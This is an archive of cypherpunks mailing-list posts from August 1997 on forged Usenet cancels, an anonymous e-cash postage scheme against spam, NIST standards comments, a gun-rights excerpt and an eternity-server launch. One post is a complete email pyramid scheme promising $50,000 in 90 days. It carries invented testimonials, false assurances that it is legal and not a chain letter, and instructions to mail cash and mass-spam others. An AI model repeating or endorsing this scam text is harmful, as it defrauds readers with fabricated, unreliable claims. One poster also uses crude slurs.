From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 23:15:33 +0800
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707311958.MAA25081@kachina.jetcafe.org>
Message-ID: <Pine.LNX.3.91.970802201803.379A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> My point of focus is freedom. Deleting others' messages is not
> justifiable for -any- reason, IMO. If you have a problem with what
> is sent, you should take it up with the source of the transmission.
> The carriers of that transmission cannot care about the content and
> still profess to be "free" in any way.

To give another perspective I see it this way:

Forging cancels for articles is just another form of speech, there is no 
crime in forging a cancel.

Accepting cancels as a newsadmin is no crime as it is private equipment 
and you can censor what the hell you want on your own news servers.

This is not to say either of these actions is to be condoned, merely that 
cancel-forgers are only exercising their right to free speech. 

Of course Chris lewis and all the other cancel-forgers are cocksuckers, 
and newsadmins who accept cancels are fools, but hey, there are fools and 
cocksuckers in every walk of life. Don`t like it? find and ISP that 
doesn`t accept cancels, most clued-up newsadmins just set the s/w to
ignore them.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 03:33:55 +0800
To: kent@songbird.com
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <199708021921.UAA06401@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> In more general terms: A "free market" fundamentally grants more
> control to those with more money.  Postage of whatever variety turns
> the medium over to those with more money.  That would, in my opinion, 
> fundamentally alter the character of email in a strongly negative 
> direction. 

OK, lets say we make emails free, unmetered, but they _must_ include a
valid token for 0c.  (OK Dimitri?)

Next we choose a threshold say 1000 posts per day.  Seems hard to
imagine anyone generating manually over 1000 emails per day.  That's
more than 1 per minute for a 10 hour day.

Next when you sign up for this new email postage system, you have to
hand over a $100 deposit.  The 0c payments are anonymous.  But if you
spend over 1000 of them in one day, your identity becomes known (via a
mechanism like that used for Chaum's off-line double spending
detection protocol).  You loose $100.  To you, the spammer, the posts
cost 10c each.  Your account is disabled until you pay another $100.


However there are a number of practical problems with the above scheme:

- How do we stop spammers buying unwanted 0c postage stamps from
people for under 10c a stamp?

- Sounds like an online protocol, will be high bandwidth requirements
at the bank(s)

- How do we stop banks cheating and spamming or selling spammers
postage more cheaply

Doesn't look like it could work, unless anyone has any ideas to fix-up
a distributed protocol which can acheive something like this, and
preserve anonymity at the same time.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 23:12:20 +0800
To: platypus@acmeonline.net
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970801173347.816E-100000@shirley>
Message-ID: <Pine.LNX.3.91.970802202341.379B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > Not even forgeries in my name?  Not even out of the control spews from
> > > fidonet?
> > 
> > Correct.
> 
> Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> posts into usenet you don't wish them to be removed from usenet?

That would be for Dimitri to decide for himself, and not for some 
cocksucker to take a unilateral decision on. Of course disabling cancels 
on all news-servers would mean such a freak article couldn`t be 
cancelled, even by it`s author, but that is better than having the cabal 
removing genuine articles because they don`t like the content.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sun, 3 Aug 1997 08:46:25 +0800
To: cryptography@c2.net
Subject: NIST request for comments
Message-ID: <3.0.3.32.19970802203556.00b1e180@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


On http://csrc.ncsl.nist.gov/ , the 3rd and 4th links are to requests for 
comments on changes to encryption standards.  Apparently, NIST isn't getting 
many comments and would really like some.

Maybe someone should tell them that publication in the Federal Register isn't 
the right way to communicate with netizens :)


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+PSa1QXJENzYr45AQGsQAP+MgKEXEGg1irJ1FHqk8Rl26n2vMHdbOZ+
0az9sq3yIjhxM7AuV6URz6fOhOBU9Vt5pCbvhklZXNB7hF/gIogp7iXheQV1SFEs
R3EhI8zPdK7wewc2SjRPKT0ku0pvBxK35Qzn2FgVm+1F+9D7pUok6fLO+bXOTYUa
VPSk5VH3DCo=
=+xxT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 3 Aug 1997 13:11:18 +0800
To: cypherpunks@Algebra.COM
Subject: Duncan Long on Cypherpunks and Guns
Message-ID: <v03102800b009beed6533@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



While looking through Duncan Long's Web pages on survivalism, guns, and
such, I found this interesting mention of Cypherpunks.


This particular article is at: http://www.prairienet.org/guns/dlgs/gun3.htm
It dates from January, 1996.

His main page is accessible from there. Long is well-known for his series
of books on the M-16, Surviving Nuclear War, terrorist incidents, etc.,
mostly published by Delta Press and Paladin Press. (The kind of books
Loompanics likes to display.) He also has some views on Christianity,
Armageddon, and such...mostly I ignore these views, and am more than happy
to have him be a good Christian so long as his views are not imposed on me.
I mainly read Long for his views on guns and gun laws.

--Tim


--begin excerpt from Duncan Long's article--


Cyberpunks

At the risk of getting "flamed", I thought I'd make a few comments about
Cyberpunks. First, the definitions (using material I've lifted from
some Cyberpunks sites on the WWW). According to those that consider
themselves to be Cyberpunks, there are three main
sub-classifications of Cyberpunks. These are:

Hackers: Persons who are skilled or talented with most aspects of
computers, electronics, and technology. For hackers, technology is not just
a hobby but a way of life.

Cypherpunks: Individuals who believe that the government is out to invade
the privacy of everybody on the planet. The cypherpunk's central
goal is to out-smart the system. (The encryption program, PGP, is often
referred to by this group as "the Cypherpunk's best friend").

Ravers: Folks who use synthesized and sampled music, computer-generated
psychedelic ("cyberdelic") art, and designer drugs to create
massive all-night dance parties and love-fests in empty warehouses.

Now if you grew up during the 1960s, you'll recognize the Ravers; they're
basically hi-tech hippies. And the hackers are those darlings of the
media that show how dangerous those of us on the Internet are to society
(and give the establishment a good reason to demand more controls
on the Net, censorship, etc., etc.).

But if you go beyond the surface, especially with the Cyberpunks, you
discover that these people have a lot in common with the survival,
militia, and gun rights movements. Like us, they don't trust the
government, are using the Net (hey, you're here, aren't you?), and (yes)
even
want to own firearms to protect themselves from lack of good law
enforcement as well as run-away government agents who are apt to trample
on their rights.

There are some differences between the hard-core gun rights crowd and the
Cyberpunks. Gun owners tend to be older and a bit more
knowledgeable about government and how it does and doesn't work. And (as
might be expected) has a better grasp of which firearms are
suitable for self defense and which are Walter Mitty.

But the two groups have a lot in common, even have a lot of "members" that
belong to both groups. I think it will only be a matter of time
before Cyberpunks and gun rights groups join forces or even become one and
the same thing.

Undoubtedly this is another worry that will keep the gun grabbers and those
interested in getting rid of freedom in the US up at night.



--end excerpt from Duncan Long's article--






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tgolf <mailhost.iamerica.net@iAmerica.net>
Date: Sun, 3 Aug 1997 14:26:16 +0800
To: <cypherpunks@toad.com>
Subject: Money Money Money!
Message-ID: <18161.235645.04703495 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




You are about to make at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY MINIMAL outlay and the income
return is TREMENDOUS!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my fingers.
Fortunately, sometime later I re-read everything and gave some thought and
study to it.

My name is Christopher Erickson.  Two years ago, the corporation I worked at
for the past twelve years down-sized and my position was eliminated.  After
unproductive job interviews,  I decided to open my own business.  Over the
past year, I incurred many unforeseen financial problems.  I owed my family,
friends, and creditors over $35,000.  The economy was taking a toll on my
business and I just couldn't seem to make ends meet.  I had to refinance and
borrow against my home to support my family and struggling business.  I
truly believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on various
business opportunities.  All of the programs I received, in my opinion, were
not cost effective.  They were either too difficult for me to comprehend or
the initial investment was too much for me to risk to see if they worked or
not.  One claimed I'd make a million dollars in one year...it didn't tell me
I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I didn't
send for it, or ask for it, they just got my name off a mailing list.  THANK
GOODNESS FOR THAT!!!  After reading it several times, to make sure I was
reading it correctly, I couldn't believe my eyes.  
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and paper
and figured it out, I would at least get my money back.  After determining
that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter 
how much money it cost me!

A good program to help do this is Ready Aim Fire, an email extracting and
mass mail program 
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1.  When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE
PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days
was done.  By January 30th, I had received 196 orders for REPORT #2.  If you
go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU
HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back
and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000
with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work, but
you must follow it EXACTLY!  Especially the rules of not trying to place
your name in a different place.  It doesn't work, you'll lose out on a  lot
of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to
20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign.  I DID!
		
				
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up
on a kitchen table? IT'S AWESOME!

"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea who
to contact to get a copy, so I had to wait until I was emailed another copy
of the program.  Eleven months passed, then it came.  I DIDN'T throw this
one away.  I made $41,000 on the first try."

					Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch in
life.  You get out of life what you put into it.'  Through trial  and error
and a somewhat slow frustrating start, I finally figured it out. The program
works very well, I just had to find the right target group of people to
email it to.  So far this year, I have made over $63,000 using this program.
I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a program,
and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out.  It wasn't me, it was the economy. Inflation and
recession had replaced the stable economy that had been with us since 1945.
I don't have to tell you what happened to the unemployment rate...because
many of you know from first hand  experience. There were more failures and
bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who never
had anything to save or invest, were moving down into the ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  The
traditional methods of making money will never allow you to "move up" or
"get rich", inflation will see to that.
You have just received information that can give you financial freedom for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have already
made over FOUR MILLION DOLLARS!  I have retired from the program after
sending out over 16,000 programs.  Now I have several offices which market
this and several other programs here in the US and overseas.  By the Spring,
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of this
exciting program to everyone that you can think of.  One of the people you
send this to may send out 50,000...and your name will be on every one of
them!.  Remember though, the more you send out, the more potential customers
you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure
out what could happen when YOU participate.  Figure out the worst possible
response and no matter how you calculate it, you will still make a lot of
money!  Definitely get back what you invested.  
Any doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and we'll
assume you and all those involved send out 2,000 programs each. Let's also
assume that the mailing receives a .5% response.  Using a good list the
response could be much better.  Also many people will send out hundreds of
thousands of programs instead of 2,000.  But continuing with this example,
you send out only 2,000 programs.  With a 5% response, that is only 10
orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs
each for a total of 20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a
2,000,000 total.  The .5% response to that is 10,000 orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!  Your total income in this
example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL
DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT
WHAT WOULD HAPPEN IF EVERYONE  OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF
ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an
internet connection and email is FREE!!!  REPORT #3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not require
you to come in contact with people, do any hard work, and best of all, you
never have to leave the house except to get the mail.  If you believe that
someday you'll get that big break that you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the
more people will be doing business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being
taught in the Harvard Business School, and both Stanford Research and The
Wall Street Journal have stated that between 50% and 65% of all goods and
services will be sold throughout Multi-level Methods by the mid to late
1990's.  This is a Multi-Billion Dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last several
years in MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to
$125,000 in the next 20 to 90 days.  Before you say "Bull", please read the
program carefully.

This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do:  As with all multi-level business, we build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You
do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by
ordering the REPORT from each of the four 4 names listed on the next page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope
(BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra for postage.  It is
essential  that you specify the NAME and NUMBER of the report requested to
the person you are ordering from.  You will need ALL FOUR (4) REPORTS
because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
instructions say.  IMPORTANT:  Always provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with yours,
moving the one that was there down to REPORT #2.           Drop  the  name
and address under REPORT #2 to REPORT #3, moving the one that was there to
REPORT #4.  The name and           address that was under REPORT #4 is
dropped from the list and this party  is  no doubt on the way to the bank.
When doing this, make certain you type the names and addresses ACCURATELY!
DO NOT MIX UP MOVING PRODUCT/REPORT  POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it as a
text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of bulk
emailing and acquiring email lists. Step (4)   Email a copy of the entire
program (all of this is very important) to everyone whose address you can
get your hands on. Start with friends and relatives since you can encourage
them to take advantage of this  fabulous  money-making opportunity. that's
what I did.  And they love me now, more than ever. Then, email to anyone and
everyone!  Use your imagination! You can get email addresses from companies
on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so always
request a FRESH, NEW list. You will find out where to purchase these lists
when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

TGOLF
P O Box 1735
TIOGA, LA. 71477

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

D&S ENTERPRISES
BOX 158
ROCKFORD, IL 61105
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

WTM ENTERPRISES
6985 S. LEWIS AVE
TULSA, OK 74136
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

OPM
RT 2 BOX 396A
JENKS, OK 74037
_______________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say "NO"
than "YES", and this is the question that you must answer.  Will YOU ignore
this amazing opportunity or will you take advantage of it? If you do
nothing, you have indeed missed something and nothing will change.  Please
re-read this material, this is a special opportunity. If you have any
questions, please feel free to write to the sender of this information.  You
will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that costs
me pennies to produce and email.  I should also point out that this program
is legal and everyone who participates WILL make money. This is not a chain
letter or pyramid scam.  At times you have probably received chain letters,
asking you to send money, on faith, but getting NOTHING in return, NO
product what-so-ever!  Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they purchase
the product from you, they reproduce more and resell them. It's simple free
enterprise.  As you learned from the enclosed  material, the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful to you
in any other business decisions you make in the years ahead. You are also
buying the rights to reprint all of the REPORTS, which will be ordered from
you by those to whom you mail this program.  The concise one and two page
REPORTS you will be buying can easily be reproduced at a local copy center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to
participate in this program.  But conservative as I am, I decided that the
initial investment was so little that there was no way that I could not get
enough orders to at least get my money back.  BOY, was I ever surprised when
I found my medium sized post office box crammed with orders!  I will make
more money this year than any ten years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out the
product/service to comply with US Postal and Lottery laws.  Title 18
Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST
BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
your name and address go next to REPORT #1 and the others all        move
down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The more you
send, and the quicker you send them, the more money  you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as  soon as you
receive an order. IMPORTANT: ALWAYS PROVIDE    SAME-DAY SERVICE ON ORDERS
YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple of
weeks later you should receive at least 100 orders for REPORT #2, if you
don't, send out more programs until you do.  Once you have received 100 or
more orders for REPORT #2, (take a deep breath) you can sit back and  relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically  it
is  a  proven  guarantee.   Of  those  who  have participated in the program
and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also,
remember, every time your name is moved down the list you are in front of a
different REPORT, so you can keep track of your program by knowing what
people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 08:41:59 +0800
To: bpettigrew@usa.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <ww01-BHBXRE2923@netaddress.usa.net>
Message-ID: <199708030035.BAA13654@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bubba Pettigrew <bpettigrew@usa.net> writes:
> 
> aba@dcs.ex.ac.uk wrote:
> > OK, lets say we make emails free, unmetered, but they _must_ include 
> > a valid token for 0c.  (OK Dimitri?)
> >
> > Next we choose a threshold say 1000 posts per day.  Seems hard to
> > imagine anyone generating manually over 1000 emails per day.  That's
> > more than 1 per minute for a 10 hour day.
> >
> > Next when you sign up for this new email postage system, you have to
> > hand over a $100 deposit.  The 0c payments are anonymous.  But if 
> > you spend over 1000 of them in one day, your identity becomes known 
> > (via a mechanism like that used for Chaum's off-line double spending
> > detection protocol).  You loose $100.  To you, the spammer, the 
> > posts cost 10c each.  Your account is disabled until you pay another
> > $100.
> 
> How would this work.  The ISP is enforcing these rules?  But the email
> is not anonymous to the ISP.  Or is the email going through a 
> remailer.

The email could be delivered a number of ways, remailer, users ISP,
some other ISP's open access sendmail hub (a lot of systems you can
connect to on the SMTP port and use them as a forwarder.  Some people
use this to do crude forgeries.  Spammers like this kind of trick).

It is the recipient who is enforcing the rules indirectly because, the
recipient cashes the 0c tokens on receipt.  That way the bank gets
back all the spent tokens.

There is a neat protocol that Chaum uses in his off-line ecash
protocol which allows you to have ecash which is anonymous so long as
you don't spend it twice.  If you spend twice the bank finds out your
identity, and then penalizes you.

This protocol could be extended to have ecash which revealed your
identity if you spent more than 1000 of a given minting.  The bank
would issue a fresh mint of ecoins each day.

> Why not just have an ISP say you can't send more than 1000 emails a
> day.  

Because you can bypass your ISP once you've got PPP or SLIP running.
You can telnet to port 25 (smtp port) on any of millions of open SMTP
ports.  You could send via a remailer.

> But then what stops other ISPs from using different rules to get the
> business of spammers.

Nothing.

It is up to the recipient if he wants to join up with this anti-spam
system.  If he does all email that arrives in his email box without a
0c postage token gets bounced back to the recipient.  (You can have
some fall back so that people without signing up can still get through
to you, don't just do a blind bounce, but bounce with a nonce (random
number), so that they have to reply with that random number in the
mail, and then you'll get it.)

I'm not sure the whole thing is that practical though because of the
sheer number of TCP/IP connections required to do an online banking
protocol for each and every mail.  The bank server would melt down.

So perhaps you could have lots of banks.  The other thing that is
wrong with it is that you have to trust the banks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 09:44:45 +0800
To: platypus@acmeonline.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
Message-ID: <199708030134.CAA13809@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 2 Aug 1997, Adam Back wrote:
> 
> > Next we choose a threshold say 1000 posts per day.  Seems hard to
> > imagine anyone generating manually over 1000 emails per day.  That's
> > more than 1 per minute for a 10 hour day.
> 
> I bet this mailing list generates traffic of that order.  I would not wish
> to see legitimite mailing lists shut down to stop the spam.

The idea is that you would exempt from postage mailing lists and
people you know.

So what happens?  Spammers target mailing lists instead.  Already
happening to some extent.

Then what?  We have to use NoCems for mailing lists, or rating
services, or judicious use of the 'd' key.

> The best soultion given so far is Cause's suggestion of modifying
> the fax law so that we can sue the spammers.

Law, and suing and the internet don't mix.

Eg. Say I spam you via an anonymous remailer.  So now who are you
going to sue?

Spammers use remailers already.

So your suggest has dire consequences for remailers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 09:49:58 +0800
To: cypherpunks@cyberpass.net
Subject: announce: eternity server @ replay
Message-ID: <199708030142.CAA13821@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I've put an eternity server up at:

	http://www.replay.com/aba/eternity/

(Alex de Joode kindly offered me an account for the purpose). 

It's running live off news.xs4all.nl newsfeed.  (replay.com is in .nl
too running off xs4all networks (I think), so it's newsfeed is fast
for replay to access).  It will check for news every 2 mins (if
someone is using it).

It's configured to read alt.anonymous.messages.

It's running eternity-0.05 (+ a few bug fixes which haven't been
packaged to produce 0.06 yet).

For instructions on posting get the latest eternity distribution off
my home page:

	http://www.dcs.ex.ac.uk/~aba/eternity/

It's not that automated yet, you have to make the posts manually,
though it will help you figure out which inline images, and links are
related to a page.  And will offer some assistance in encrypting the
documents and creating the hashes for the URLs, you still have to do a
bit of work, and you have to post the documents yourself also.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

